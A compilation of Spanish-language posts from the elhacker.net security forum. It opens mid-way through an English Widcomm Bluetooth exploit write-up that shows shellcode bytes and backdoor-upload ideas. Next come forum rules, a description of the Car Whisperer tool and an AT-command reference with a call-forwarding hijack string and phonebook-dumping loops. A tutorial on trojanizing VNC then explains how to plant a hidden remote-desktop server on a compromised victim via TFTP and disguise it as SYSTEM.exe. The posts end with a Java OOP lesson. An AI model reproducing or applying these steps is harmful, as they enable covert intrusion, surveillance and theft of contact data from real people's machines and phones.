0199F81E  4B 8B 5A 1C 01 EB 8B 04 8B 01 E8 5F 5E FF E0 00  K‹Zë‹‹è_^ÿà.

At this point the user of the machine should be greeted with a nice message box window titled
"CATS:" with the message "ALL YOUR BLUETOOTH ARE BELONG TO US.". Obviously any payload can be
plugged into the exploit keeping in mind space limitations of the various buffers.

In an ideal situation the initial phase that places the shellcode in the registry should be
used as an chance to upload a binary with some sort of backdoor functionality as well as a
scripted procedure to kill BTTray and restart it. Any uploaded binary would reside in
"%USERPROFILE%"\mydocu~1\blueto~1 by default so shellcode that can resolve that path and execute
a binary there would be very useful (hint hint email me some shellcode if anyone is bored).

I have toyed around with payloads that flip a few bits in SOFTWARE\Widcomm\BTConfig\Services\\000?,
SOFTWARE\Widcomm\General\UseFixedPIN and SOFTWARE\Widcomm\General\PinCode. However I have not yet
come upon a payload that would be as functional as %USERPROFILE% execution code.

I hope this document will help clear up some of the myths about the potential wormability of the
Widcomm Bluetooth bugs. I also hope that Vendors that still distribute dongles with vulnerable
software will step up to the plate and help eliminate this threat. Vendors...please put an end to
the license.dat issues that prevent so many users from upgrading their Widcomm software.

Please see the proof of concept patch to ussp-push-0.4 published at
http://www.digitalmunition.com/BluePIMped.diff

kfinisterre@animosity:~$ tar -zxvf ussp-push-0.4.tar.gz
ussp-push-0.4/
ussp-push-0.4/COPYING
ussp-push-0.4/Makefile
ussp-push-0.4/doc/
ussp-push-0.4/doc/README
ussp-push-0.4/doc/ussp-push.html
ussp-push-0.4/obex_main.c
ussp-push-0.4/obex_socket.c
ussp-push-0.4/obex_socket.h
kfinisterre@animosity:~$ cat BluePIMped.diff | patch -p0
patching file ussp-push-0.4/obex_main.c


#21
Hacking / +NORMAS DEL FORO, LEER ANTES DE POSTEAR+
8 Noviembre 2005, 12:55 PM
El objetivo principal del Foro de Papers es servir de soporte para los aficionados a la In/Seguridad Informática que ya cuentan con cierta experiencia y necesitan disponer de un canal de comunicación a través del cual puedan:
- publicar papers: tutoriales, manuales, talleres, cursos, explicaciones sobre técnicas avanzadas de hacking, etc.
- publicar nuevos proyectos.

A fin de mantener cierto nivel de calidad en este foro, los moderadores han decidido marcar una serie de normas:

[NORMAS]

1) En este Foro, sólo está permitido publicar papers sobre Hacking e In/Seguridad Informática.

   1.1) Serán movidos/eliminados del Foro aquellos papers relacionados con otras secciones de foro.elhacker.net. Para estos casos, ya existe el Foro de Documentación.

   1.2) Serán eliminados del Foro aquellos papers cuyos contenidos no cumplan con unos requisitos mínimamente científicos y educacionales.

   1.3) Serán eliminados del Foro aquellos temas que no correspondan a la publicación de papers. Para cualquier duda sobre Hacking e In/Seguridad Informática, acudir al Foro de Hacking.

   1.4) Se permite postear comentarios a los papers publicados, así como preguntar dudas relacionadas con el contenido de los mismos, siempre que se hagan en el mismo hilo.


2) Los moderadores se reservan el derecho a bloquear/mover/eliminar cualquier tema que ellos consideren conveniente y, además, se reservan el derecho a dejar un mensaje de movido/eliminado.
Si no encuentras tu post, busca por el foro por si ha sido movido. Si aún así no lo encuentras, es posible que haya sido eliminado por no ajustarse a las normas del Foro. En cualquier caso, puedes contactar con los Moderadores si tienes dudas.


-----------------------------------------------------------------------------------------------------

Los Moderadores se reservan el derecho a modificar esta Normativa según acontecimientos del Foro.


Esta normativa se ajusta a la normativa general del Foro de elhacker.net.
- REGLAS DEL FORO elhacker.net -
http://foro.elhacker.net/index.php/topic,17721.0.html

#22
El foro de Hacking Mobile permite a todos los aficionados a la Seguridad en dispositivos móviles disponer de un canal de comunicación a través del cual pueden:
- expresar sus inquietudes.
- publicar nuevos proyectos.
- discutir sobre temas relacionados con la In/Seguridad en estos dispositivos.

Se consideran dispositivos móviles: teléfonos, PDAs, Smartphones, Pocket PC Phones, etc.

A fin de mantener cierto nivel de calidad en este foro, el moderador ha decidido marcar una serie de NORMAS:


1) En este Foro, sólo está permitido hablar sobre temas de Hacking e In/Seguridad en dispositivos móviles.

   1.1) Los temas que se incluyen en esta temática son:
         - Seguridad en Bluetooth
         - Seguridad en Symbian
         - Seguridad en Windows Mobile
         - ...

   1.2) Los temas que NO se incluyen en esta temática son:
         - Dudas generales sobre Bluetooth o dispositivos Bluetooth (manos libres, etc.)
         - Trucos y desbloqueo de móviles (Ya existe un foro específico para eso)
         - Dudas generales sobre Symbian y Windows Mobile y sus dispositivos
         - ...

   Si el post que has publicado no aparece en el foro, puede haber sido movido a otros foros (usa opción Buscar) o puede haber sido eliminado. Pregúntate si el contenido de lo que publicaste se ajusta a las normas de este Foro.

   1.3) Serán eliminados del Foro aquellos temas que:
         - no cumplan con unos requisitos mínimamente científicos y educacionales.
         - expongan actividades ilegales.
         - su objetivo último sea fastidiar a otras personas.

2) Serán bloqueados/eliminados del Foro aquellos temas que no se ajusten al formato de posteado adecuado o ya hayan sido contestados y repetidos con anterioridad.

El resto de la normativa se ajusta a la normativa general del Foro de elhacker.net.
- REGLAS DEL FORO elhacker.net -
http://foro.elhacker.net/index.php/topic,17721.0.html


#23
Ya lo había visto hace un par de días en el blog de trifinite, pero ahora q Brujo me ha dado un toq creo conveniente postear esto aquí. Es interesante...

CitarThis new toool is called The Car Whisperer and allows people equipped with a Linux Laptop and a directional antenna to inject audio to, and record audio from bypassing cars that have an unconnected Bluetooth handsfree unit running. Since many manufacturers use a standard passkey which often is the only authentication that is needed to connect.

This tool allows to interact with other drivers when traveling or maybe used in order to talk to that pushy Audi driver right behind you ;) . It also allows to eavesdrop conversations in the inside of the car by accessing the microphone.

Since the attacker's laptop is fully trusted once it has a valid link key, the laptop could be used in order to access all the services offered on the hands-free unit. Often, phonebooks are stored in these units. I am quite certain that there will be more issues with the security of these systems due to the use of standard passkeys.

Cómo veis, el impacto de este ataque es elevado, ya q permitiría escuchar conversaciones ajenas del manos libres Bluetooth de un conductor cercano a nosotros. Sin embargo, la forma de llevar este ataque resulta algo excepcional. Si nuestra intención es atacar el manos libres Bluetooth de un coche en movimiento, deberíamos ser capaces de seguirle con nuestro coche a una distancia suficiente como para q nuestro equipo reciba las ondas Bluetooth del manos libres, lo cual deja un margen de varios metros.

En fin, describe claramente el significado de "Prueba de Concepto". Es posible llevar a cabo el ataque pero bajo unas circunstancias bastante excepcionales...

#24
Hacking Mobile / [Bluetooth] Comandos AT
20 Junio 2005, 16:37 PM
Los comandos AT

Los comandos AT son instrucciones codificadas que conforman un lenguaje de comunicación entre el hombre y un terminal modem.
En un principio, el juego de comandos AT fue desarrollado en 1977 por Dennis Hayes como un interfaz de comunicación con un modem para así poder configurarlo y proporcionarle instrucciones, tales como marcar un número de teléfono. Más adelante, con el avance del baudio, fueron las compañías Microcomm y US Robotics las que siguieron desarrollando y expandiendo el juego de comandos hasta universalizarlo.
Los comandos AT se denominan así por la abreviatura de attention.

Aunque la finalidad principal de los comandos AT es la comunicación con modems, la telefonía móvil GSM también ha adoptado como estandar este lenguaje para poder comunicarse con sus terminales. De esta forma, todos los teléfonos móviles GSM poseen un juego de comandos AT específico que sirve de interfaz para configurar y proporcionar instrucciones a los terminales. Este juego de instrucciones puede encontrarse en la documentación técnica de los terminales GSM y permite acciones tales como realizar llamadas de datos o de voz, leer y escribir en la agenda de contactos y enviar mensajes SMS, además de muchas otras opciones de configuración del terminal.

  3.4.1. Notación de los comandos AT

El envío de comandos AT requiere la siguiente estructura:

· Petición:

<CR> ... Carriage return

· Respuesta correcta:

<CR> ... Carriage return
<LF> ... Line feed

· Respuesta incorrecta:

<CR> ... Carriage return
<LF> ... Line feed


  3.4.2. El juego de comandos AT específico para telefonía móvil GSM


    GSM AT COMMAND SET

    Call Control

ATA       Answer Command
ATD       Dial Command
ATH       Hang Up Call
ATL       Monitor Speaker Loudness
ATM       Monitor Speaker Mode
ATO       Go On-Line
ATP       Set Pulse Dial as Default
ATT       Set Tone Dial as Default
AT+CSTA   Select Type of Address
AT+CRC    Cellular Result Codes



    Data Card Control Commands

ATI       Identification
ATS       Select an S-register
ATZ       Recall Stored Profile
AT&F      Restore Factory Settings
AT&V      View Active Configuration
AT&W      Store Parameters in Given Profile
AT&Y      Select Set as s Powerup Option
AT+CLCK   Facility Lock Command
AT+COLP   Connected Line Identification Presentation
AT+GCAP   Request Complete Capabilities List
AT+GMI    Request Manufacturer Identification
AT+GMM    Request Model Identification
AT+GMR    Request Revision Identification
AT+GSN    Request Product Serial Number Identification



    Phone Control Commands

AT+CBC    Battery Charge
AT+CGMI   Request Manufacturer Identification
AT+CGMM   Request Model Identification
AT+CGMR   Request Revision Identification
AT+CGSN   Request Product Serial Number Identification
AT+CMEE   Report Mobile Equipment Error
AT+CPAS   Phone Activity Status
AT+CPBF   Find Phone Book Entries
AT+CPBR   Read Phone Book Entry
AT+CPBS   Select Phone Book Memory Storage
AT+CPBW   Write Phone Book Entry
AT+CSCS   Select TE Character Set
AT+CSQ    Signal Quality



    Computer Data Card Interface Commands

ATE       Command Echo
ATQ       Result Code Suppression
ATV       Define Response Format
ATX       Response Range Selection
AT&C      Define DCD Usage
AT&D      Define DTR Usage
AT&K      Select Flow Control
AT&Q      Define Communications Mode Option
AT&S      Define DSR Option
AT+ICF    DTE-DCE Character Framing
AT+IFC    DTE-DCE Local Flow Control
AT+IPR    Fixed DTE Rate



    ServiceAT+CLIP   Calling Line Identification Presentation

AT+CR     Service Reporting Control
AT+DR     Data Compression Reporting
AT+ILRR   DTE-DCE Local Rate Reporting



    Network Communication Parameter Commands

ATB       Communications Standard Option
AT+CBST   Select Bearer Service Type
AT+CEER   Extended Error Report
AT+CRLP   Radio Link Protocol
AT+DS     Data Compression



    Miscellaneous Commands

A/        Re-Execute Command Line
AT?       Command Help
AT*C      Start SMS Interpreter
AT*T      Enter SMS Block Mode Protocol
AT*V      Activate V.25bis Mode
AT*NOKIATEST Test Command
AT+CESP   Enter SMS Block Mode Protocol



    SMS Commands SMS Text Mode

AT+CSMS   Select Message Service
AT+CPMS   Preferred Message Storage
AT+CMGF   Message Format
AT+CSCA   Service Centre Address
AT+CSMP   Set Text Mode Parameters
AT+CSDH   Show Text Mode Parameters
AT+CSCB   Select Cell Broadcast Message Types
AT+CSAS   Save Settings
AT+CRES   Restore Settings
AT+CNMI   New Message Indications to TE
AT+CMGL   List Messages
AT+CMGR   Read Message
AT+CMGS   Send Message
AT+CMSS   Send Message from Storage
AT+CMGW   Write Message to Memory
AT+CMGD   Delete Message



    SMS PDU Mode

AT+CMGL   List Messages
AT+CMGR   Read Message
AT+CMGS   Send Message
AT+CMGW   Write Message to Memory



  3.4.3. Documentación de los comandos AT más interesantes

Todos los comandos han sido testeados con éxito utilizando un Nokia 8310.

Notación empleada:
Comando AT: [Definición técnica]
- Funcionalidad del comando
- Sintaxis: Petición | Respuesta
- Respuesta obtenida al testear el comando con Nokia 8310

## Comandos de Llamada ##

ATD: [Dial Command]
- Inicia una llamada telefónica
- Sintaxis:  ATD64612345 para una llamada de Datos.
                 ATD64612345; para una llamada de Voz. (Importante la notación ';')
                 ATD>"Gospel"; para llamar al contacto almacenado en la agenda con el texto asociado Gospel.


## Comandos de Operador ##

AT+CCFC: [Call Forwarding Number]
- Gestiona el Desvío de Llamadas. Permite redireccionar llamadas entrantes a otro número de teléfono.
- Sintaxis: AT+CCFC=<razón>,<modo>,<número>,<tipo>,<clase>,[<subaddr>,<satype>,[<time>]]
  <razón> Razón por la cual entra en acción el desvío de llamada.
     0 - incondicional
     1 - si teléfono ocupado
     2 - si no obtiene respuesta
     3 - si inalcanzable
     4 - todos los desvíos de llamadas
     5 - todos los desvíos de llamadas condicionales
  <modo> Estado del desvío de llamada.
     0 - desahabilitado
     1 - habilitado
     2 - query status
     3 - registro
     4 - erasure (borrado)
  <número> Cadena de texto con el número de teléfono destino del desvío de llamada. Se especifica en el formato indicado en el campo <type>
  <tipo> Tipo de código de dirección de teléfono:
     145 - para código internacional +
     129 - en otro caso
  <clase> Código que representa la clase de información que contiene la llamada a desviar.
     1 - voz
     2 - datos
     4 - fax
     7 - cualquier clase (por defecto)
  <time> Tiempo en segundos a esperar antes de desviar la llamada.
     1..30 (por defecto, 20)
  <status> Estado de la opción desvío de llamadas. (Sólo en respuesta AT)
     0 - no activo
     1 - activo
- Ejemplo: Implementación del comando en Blooover: "AT+CCFC=0,3,\"+4913377001\",145,7\r"
  Vemos que utiliza los siguientes parámetros:
  <razón> = 0, incondicional
  <modo> = 3, registro
  <número> = +4913377001 (German Windows XP Activation Hotline)
  <tipo> = 145, formato de código internacional
  <clase> = 7, cualquier clase de información a desviar


## Comandos de Control del Teléfono ##

AT+CPAS: [Phone Activity Status]

1) AT+CPAS=?
- Muestra la implementación del comando.
- Sintaxis: AT+CPAS=? | +CPAS: (lista de estados soportados)
    0 - Ready (Encendido pero inactivo)
    1 - Unavailable (No disponible)
    2 - Unknown (Desconocido)
    3 - Ringing (Llamada entrante en proceso)
    4 - Call in progress (Llamada saliente en proceso)
    5 - Asleep (Dormido)
- Respuesta: +CMGD: (0,2,3,4)

2) AT+CPAS
- Informa del estado de actividad del teléfono.
- Sintaxis: AT+CPAS | +CPAS: <estado>
- Respuesta: +CPAS: 0, en estado normal de inactividad.
                     +CPAS: 3, si el teléfono atacado está sonando a causa de una llamada entrante.


AT+CBC: [Battery Charge]
- Devuelve el estado de carga de la batería.
- Sintaxis: AT+CBC | +CBC: <bcs>, <bcl>
   <bcs> = 0 indica que el teléfono está conectado a una batería.
   <bcl> = 0 indica que el teléfono tiene la batería agotada.
             = 1..100 indica el porcentaje de carga que aún queda por agotar.
- Respuesta: +CBC:0,56


AT+CGMI: [Request Manufacturer Identification]
- Petición de identificación del Fabricante (Marca del teléfono).
- Sintaxis: AT+CGMM | <fabricante>
- Respuesta: Nokia Mobile Phones


AT+CGMM: [Request Model Identification]
- Petición de identificación del modelo de teléfono.
- Sintaxis: AT+CGMM | <modelo>
- Respuesta: Nokia 8310


AT+CGSN: [Request Product Serial Number Identification]
- Petición de identicación del número de serie del producto.
- Sintaxis: AT+CGSN | <IMEI>
- Respuesta: 1234567890etc


AT+CSQ: [Signal Quality]
- Devuelve el estado de calidad de la señal de cobertura.
- Sintaxis: AT+CSQ | +CSQ: <rssi>,<ber>
   <rssi> = 0 indica -113 dBm o menos
              = 1 indica -111 dBm
              = 2..30 indica -109..-53 dBm
              = 31 indica -51dBm o más
              = 99 indica desconocido
   <ber> = 99 indica porcentaje desconocido
- Respuesta: +CSQ: 13,99


AT+CPBS: [Select Phone Book Memory Storage]

1) AT+CPBS?
- Informa de los dispositivos de memoria que soporta el teléfono para almacenar las distintas listas de contactos.
- Sintaxis: AT+CPBS? | +CPBS: "XX", donde "XX" se sustituye por el dispositivo de almacenamiento:
   "SM"  - SIM phonebook list [Lista de contactos de la agenda SIM]
   "TA"  - TA phonebook list [Lista de contactos del terminal]
   "LD"  - SIM last dialing list [Lista de números marcados]
   "DC"  - Dialled call list [Lista de llamadas realizadas]
   "RC"  - ME received calls list [Lista de llamadas recibidas]
   "MC"  - ME missed call list [Lista de llamadas perdidas]
   "EN"  - Emergency number list [Lista de números de emergencia]
   "FD"  - SIM fix dialing list
   "MT"  - ME + SIM conbined list
   "ON"  - SIM o ME own number list
- Respuesta: +CPBS: "SM"

2) AT+CPBS="XX"
- Selecciona por defecto uno de los dispositivos de memoria que soporta el teléfono para almacenar las distintas listas de contactos.
- Sintaxis: AT+CPBS="XX", donde "XX" se sustituye por el dispositivo de almacenamiento:
   "SM"  - SIM phonebook list [Lista de contactos de la agenda SIM]
   "TA"  - TA phonebook list [Lista de contactos del terminal]
   "LD"  - SIM last dialing list [Lista de números marcados]
   "DC"  - Dialled call list [Lista de llamadas realizadas]
   "RC"  - ME received calls list [Lista de llamadas recibidas]
   "MC"  - ME missed call list [Lista de llamadas perdidas]
   "EN"  - Emergency number list [Lista de números de emergencia]
   "FD"  - SIM fix dialing list
   "MT"  - ME + SIM conbined list
   "ON"  - SIM o ME own number list


AT+CPBR: [Read Phone Book Entry]

1) AT+CPBR=?
- Informa del tamaño de la agenda de contactos.
- Sintaxis: AT+CPBR=? | +CPBR: <(1-n)>,<nlen>,<tlen>
   <(1-n)> indica el rango de índices que la agenda puede contener.
   <nlen> indica la longitud máxima permitida para un número de teléfono.
   <tlen> indica la longitud máxima permitida para el texto asociado a ese número (nombre del contacto).
- Respuesta: +CPBR: (1-150),48,14

2) AT+CPBR=<indice>
- Leer una entrada de la agenda de contactos.
- Sintaxis: AT+CPBR=<indice inicial> [,<indice final>] | +CPBR: <índice>, <número>, <tipo>, <texto>
   <índice> indica el índice de la agenda de contactos.
   <número> indica el número de teléfono almacenado en el índice.
   <tipo> indica el tipo de tipo de número de teléfono. Por defecto, 129 o 145 si incluye el prefijo internacional +.
   <text> indica el texto asociado al número de teléfono, normalmente, el nombre del contacto.
- Respuesta a AT+CPBR=8: +CPBR: 8,"646123456",129,"Gospel"

Nota: Para leer todas las entradas de la agenda, basta con preguntar por el tamaño de la agenda, almacenarlo en una variable int PhoneBookSize y lanzar un bucle FOR preguntando por cada índice:
for (int n = 1; n <= PhoneBookSize; n++)
{
   Enviar("AT+CPBR=%d", n);
}


Combinación de AT+CPBS;+CPBR [Leer una entrada de una lista de contactos seleccionada]
- Primero elegimos la lista de contactos a la que queremos acceder, y luego leemos una entrada por su índice.
Sintaxis: AT+CPBS="XX";+CPBR=<índice>, donde "XX" se sustituye por el dispositivo de almacenamiento:
   "SM"  - SIM phonebook list [Lista de contactos de la agenda SIM]
   "TA"  - TA phonebook list [Lista de contactos del terminal]
   "LD"  - SIM last dialing list [Lista de números marcados]
   "DC"  - Dialled call list [Lista de llamadas realizadas]
   "RC"  - ME received calls list [Lista de llamadas recibidas]
   "MC"  - ME missed call list [Lista de llamadas perdidas]
   "EN"  - Emergency number list [Lista de números de emergencia]
   "FD"  - SIM fix dialing list
   "MT"  - ME + SIM conbined list
   "ON"  - SIM o ME own number list
- Ejemplo de Respuesta a AT+CPBS="DC";+CPBR=2: +CPBR: 1,"646123456",129,"Pepito" (Visualizamos el último contacto al que hemos llamado).
          AT+CPBS="MC";+CPBR=1: +CPBR: 1,"646987654",129,"Jaimito" (Visualizamos la última llamada perdida).


AT+CPBF: [Find Phone Book Entries]
- Devuelve la entrada de la agenda de contactos cuyo texto asociado a un número contiene la cadena alfanumérica proporcionada.
- Sintaxis: AT+CPBF="textoaencontrar" | +CPBR: <índice>, <número>, <tipo>, <texto>
   "textoaencontrar" es case-sensitive, así que cuidado con el uso de mays.
   <índice> indica el índice de la agenda de contactos.
   <número> indica el número de teléfono almacenado en el índice.
   <tipo> indica el tipo de tipo de número de teléfono. Por defecto, 129 o 145 si incluye el prefijo internacional +.
   <text> indica el texto asociado al número de teléfono, normalmente, el nombre del contacto.
- Respuesta a AT+CPBF="Pepito": +CPBF: 19, "646987654",129,"Pepito"


AT+CPBW: [Write Phone Book Entry]
- Escribe una entrada en la agenda de contactos.
- Sintaxis:    AT+CPBW = <índice>, <número>, <tipo>, <texto>
   <índice> indica el índice de la agenda de contactos donde se creará la entrada de contacto. Si no se proporciona índice, se añade la entrada en el primer hueco libre.
   <número> indica el número de teléfono almacenado en el índice.
   <tipo> indica el tipo de tipo de número de teléfono. Por defecto, 129 o 145 si incluye el prefijo internacional +.
   <text> indica el texto asociado al número de teléfono, normalmente, el nombre del contacto.
Nota: Si únicamente se proporciona el campo del índice (omitiendo el resto de campos), la entrada de la agenda asociada a ese índice se borrará.
- Ejemplo para crear un nuevo contacto: AT+CPBW=,"696224466",129,"Jaimito"


## Comandos de SMS ##

[Próximamente...]


  3.4.4. Documentación técnica

http://us.share.geocities.com/unrayodesoul/bluehack/AT_Command_Set_For_Nokia_GSM_And_WCDMA_Products_v1_1_en.pdf

http://us.share.geocities.com/unrayodesoul/bluehack/AT_Command_Set_For_Nokia_GSM_Products.pdf



3.5. Aplicaciones prácticas de los comandos AT

  3.5.1 Interacción de los comandos AT

Normalmente, es posible conectarse a un teléfono móvil GSM a través de un cable de serie o infrarrojos, y establecer una sesión de comandos AT.

Como se puede observar en la siguiente captura, establecemos comunicación con el teléfono móvil y enviamos por consola los comandos AT. Para cada comando AT, el teléfono móvil nos responde con el resultado de la ejecución del comando y con un OK.


  3.5.2 Aplicación práctica de intercambio de comandos AT por Infrarrojos con un teléfono móvil

Para ilustrar el siguiente ejemplo, vamos a presentar un proyecto de Daniel Strigl @ codeproject.com. Se trata de una herramienta que permite la comunicación por Infrarrojos entre un PC/Pocket PC y un teléfono móvil.

Infrared Communication with your Mobile Phone by Daniel Strigl
http://codeproject.com/ce/irdamobile.asp

El programa implementa mediante comandos AT las siguientes operaciones:
- Obtener el fabricante del móvil: AT+CGMI
- Obtener el modelo del móvil: AT+CGMM
- Obtener la lista de contactos de la agenda:
     Varios comandos AT:
     · AT+CPBS="SM"               //Selecciona el dispositivo de almacenamiento
     · AT+CPBR=?                    //Obtiene el tamaño de la agenda y lo guarda en int nPhoneBookSize
     · for (int n = 1; n <= nPhoneBookSize; n++)
       {
             AT+CPBR=n              //Obtiene el contacto de índice n
       }

En la página oficial del proyecto podéis encontrar tanto el desarrollo para PC (Windows) como para Pocket PC ARM(Windows Mobile). Para poder descargarse tanto los fuentes como los binarios es necesario estar registrado (gratuitamente) en www.codeproject.com

    3.5.1.1. El diseño de la aplicación.

La aplicación consta de los siguientes campos:


    3.5.1.2. La aplicación en acción.

Los pasos para ejecutar la aplicación son:

1) Activar la comunicación IrD en el teléfono móvil.
2) Alinear los puertos infrarrojos de la Pocket PC y del teléfono móvil.
3) Seleccionar el puerto de transmisión. En nuestro caso, deberíamos seleccionar el puerto COM3, que es el especificado para comunicaciones IrD en Pocket PC.
4) Pulsar Read... para que comience la comunicación.
5) Al momento, la aplicación irá recibiendo la marca y modelo del teléfono móvil, así como los contactos de la agenda uno por uno.


#25
taskkill# ha redactado un estupendo manual de obligada lectura para todos aquellos principiantes que estabais buscando el texto definitivo para adentraros en el mundo del Hacking.

El siguiente MANUAL DE HACKING BÁSICO incluye todas las definiciones básicas para entender los conceptos comunmente relacionados con la In/Seguridad Informática. Se explican los siguientes conceptos:

- Comandos básicos de MSDOS.
- Protocolo FTP.
- Protocolo TFTP.
- Proxies y anonimato en internet.
- Troyanos, Backdoors, Keyloggers y Worms.
- Defacement de páginas web.
- Ataques por fuerza bruta y por diccionario en autenticacion HTTP, FTP y POP3.
- Vulnerabilidades: Investigación de sistemas, Identificación de vulnerabilidades, Scanneres.
- Penetración en sistemas remotos.
- Ataques DoS, DDoS.
- Exploits y Buffer Overflows.
- Recopilatorio de herramientas de Hacking.

Descarga PDF. Formato PDF 7.0: 855 KB Comprimido con WinRAR.
#26
Hacking / Troyanizando VNC - Control Remoto Invisible
22 Septiembre 2004, 10:59 AM
Ya está disponible el tutorial!

Gospel.feat.Zhyzura-Troyanizando.VNC.Control.Remoto.Invisible.pdf


http://www.geocities.com/unrayodesoul/gospel/Gospel.feat.Zhyzura-Troyanizando.VNC.Control.Remoto.Invisible.pdf
(Guardar destino como...)

Mirror: http://ns2.elhacker.net/timofonica/manus/Gospel.feat.Zhyzura-Troyanizando.VNC.Control.Remoto.Invisible.zip

Mirror2: http://ns2.elhacker.net/rojodos/descargas/pafiledb.php?action=download&id=65

_________________________________________________________________________________

Jejejeje.... Wolaaa  ;D

He decidido escribir este pequeño manual pq me empezó a picar la curiosidad después de leer el post de Shy @ http://foro.elhacker.net/index.php/topic,41216.msg198996.html#msg198996 (Así q en parte, el mérito tb es de él  :D )

Para todos aquellos q os preguntáis (yo hasta ahora me lo preguntaba): ¿Cómo puedo obtener el escritorio remoto de la víctima a partir de una shell remota obtenida tras una intrusión?

Vamos a utilizar para ello el programa de control remoto, q no troyano, de distribución libre y gratuita VNC. La página oficial del proyecto es http://www.realvnc.com.

Este simple programa se compone de dos aplicaciones Cliente y Servidor. El Servidor es lo queremos instalar en la víctima, el Cliente es lo q utilizará el atacante para visualizar el escritorio de la víctima.
Problema: Por defecto, el Servidor VNC muestra un Tray Icon durante su ejecución. Ohhh...  :( se acabó la Fiesta??? Nooooooo, ni hablar!  >:(

He encontrado bastantes manuales por la red de cómo llevar esto acabo, pero ante todo, he preferido no jugar con claves de registro así q me quedo con este procedimiento q os voy a enseñar:

1) Instalar el original VNC en el equipo atacante.
Para ello, no vamos a bajarnos la última version oficial de VNC, si no ésta (ya veréis luego pq esta versión en concreto...)

ftp://ftp.uk.research.att.com/pub/vnc/dist/
y buscamos
vnc-3.3.2r6_x86_win32.zip

Despúes de descargarnos el zip, lo descomprimimos y lo instalamos. Se creará una carpeta en Archivos de Programa llamada C:\Archivos de programa\ORL\VNC donde encontraremos, entre otros archivos, el Servidor (WinVNC.exe) y el cliente (vncviewer.exe).

2) Configurar el Servidor en el propio equipo del atacante.
Necesitamos configurar el Servidor antes de instalárselo a la víctima o de otro modo, no podremos conectarnos remotamente!!
Así pues, ejecutamos WinVNC.exe y nos saldra una ventana de propiedades. Comprobamos q en Display Number pone 0 y en Contraseña agregamos una q queramos...
Ya podemos cerrar el Servidor.

3) Sustituir el Servidor ejecutable original por uno modificado para q no muestre el Tray Icon.
Este ejecutable lo encontraremos en http://www.ssimicro.com/~markham/vnc/vnc-3_3_2r6_x86_win32_notray.zip

Lo descargamos, lo descomprimos y sustituímos el archivo WinVNC.exe por el original q se encuentra en la carpeta C:\Archivos de programa\ORL\VNC

4) Subir el Servidor VNC a la víctima.
Después de haber obtenido una shell remota de la víctima, vamos a subir vía TFTP los archivos necesarios para poder ejecutar el Servidor VNC en el sistema de la víctima.
Para ello, colocamos en la carpeta de nuestro Servidor TFTP (si no entiendes esto de Servidor TFTP, busca por el foro...) los siguientes archivos:
WinVNC.exe y VNCHooks.dll localizados en C:\Archivos de programa\ORL\VNC
omnithread_rt.dll localizado en C:\WINDOWS\system32

Subimos estos archivos a la víctima y procedemos a iniciar la ejecución del Servidor son el comando start WinVCN.exe
Por supuesto, no aparece ningún Tray Icon en la barra de la víctima   8)

Creo q la captura q os adjunto con el texto explica bien este último paso.

5)Conectarse desde el Cliente atacante al Servidor de la víctima.
Desde el equipo atacante, ejecutamos vncviewer y antes de nada, para evitar dar el cantazo, en Opciones marcamos la casilla de View Only (inputs ignored). De esta forma no podremos interactuar con el ratón de la víctima.
Introducimos la IP de la victima : Display Number (ej: 192.168.0.2:0), la contraseña y boom!!

Un apunte, aunq no aparezca el Tray Icon, sí q aparece WinVnc.exe en la ventana de procesos de la víctima. Yo he probado a renombrar el archivo WinVNC.exe por SYSTEM.exe y me funciona sin problemas.  ;)


Tengo decir q no me he molestado mucho en buscar por el foro y es posible q esto mismo ya lo haya explicado alguien en otro hilo. Si es así, bueno, yo he aprendido mucho currándomelo por mi cuenta y aquí os dejo mi experiencia.  :-[


Salu2
#27
Java / Ejercicios Java [Teoría+Ejemplos]
1 Julio 2004, 11:15 AM
Teoría de Programación en Java

1) Teoría de Programación Orientada a Objetos (POO)


1.1) Concepto de Objeto: Atributos y Métodos
Un objeto es cualquier cosa real o abstracta de la cual nos interesa su comportamiento y que tiene una identidad única que la distingue de las demás. Un objeto es una unidad atómica formada por la unión de estado+comportamiento.
Un Objeto se compone de:
   - Atributos (datos o variables): Información que posee cada objeto y que identifica su estado.
   - Métodos (operaciones o funciones): Conjunto de instrucciones que definen el comportamiento del objeto. Reciben unos argumentos y devuelven un resultado.
Sólo se puede acceder a los atributos de un objeto a través de sus métodos.

Imaginemos que nuestro objeto es un exploit y que su plantilla es la siguiente:

------------------------------------------
|                        Dame el lenguaje  |
|   Dame la vulnerabilidad                 |
|            ---------------               |
|           |   Autor       |              |
|           |               |Dame el autor |
|           |Vulnerabilidad |              |
|           |               |              |
|           |     Lenguaje  |              |
|           |               |              |
|            ---------------               |
|                                          |
|     Introduzco nuevo offset              |
|                                          |
------------------------------------------


Este diagrama representa la estructura de un objeto. La parte interna del objeto no es accesible y contiene los atributos. La parte externa o interfaz del objeto es accesible y contiene los métodos.


CitarPara los que no conocen mucho sobre los exploits, les recomiendo que se den una vuelta por http://foro.elhacker.net/index.php/board,32.0

Para poder comprender este ejemplo, sólo es necesario saber que un exploit es un código (codificado por un autor) que explota una vulnerabilidad para lograr ejecutar código arbitrario en el sistema comprometido. La codificación puede haberse hecho en el lenguaje que prefiera el autor: C, C++, Perl...
Antes de lanzar un exploit contra un objetivo remoto, por ejemplo, debemos conocer su sistema operativo y a veces es necesario cambiar la dirección offset dentro del código del exploit, en función del sistema operativo y la versión de service pack que el objetivo tenga instalada, para ajustar el exploit a las características del sistema objetivo.


Bien, nuestro objeto-exploit tiene algunos atributos como el autor del exploit (= Lion), la vulnerabilidad que explota (= Serv-U FTPD 3.x/4.x "SITE CHMOD" Command Remote stack buffer overflow) y el lenguaje en que se ha codificado el exploit (= Lenguaje C). Si otro objeto quiere acceder a estos atributos, no lo puede hacer directamente, sino a través de los métodos del objeto-exploit. Es decir,
   · si quiere saber el autor que codificó el exploit, llamará al método "dame el autor" del objeto-exploit y recibirá como resultado el tipo string con el nombre del autor = "Lion".
   · si quiere introducir una nueva dirección offset, llamará al método "introduzco nuevo offset" y le pasará como argumento el tipo string con la dirección offset = "0x7ffa4a1b" a introducir para que el exploit nos funcione.
Generalmente, a estos métodos q "obtienen" o "introducen" se les llama métodos getters y setters. De esta forma, los métodos del objeto-exploit pasarán a codificarse bajo los nombres getAutor, getVulnerabilidad, getLenguaje, y setOffset.

Continuando con el ejemplo...
   · el prototipo del método getAutor será: String getAutor ()
String (antes del método), indica que la llamada al método devuelve un tipo String, como es una cadena de caracteres con el nombre del autor. Sin embargo, no hace falta pasarle ningún argumento al método, por lo que dejamos los paréntesis () vacíos.
   · el prototipo del método setOffset será: void setOffset (String offset)
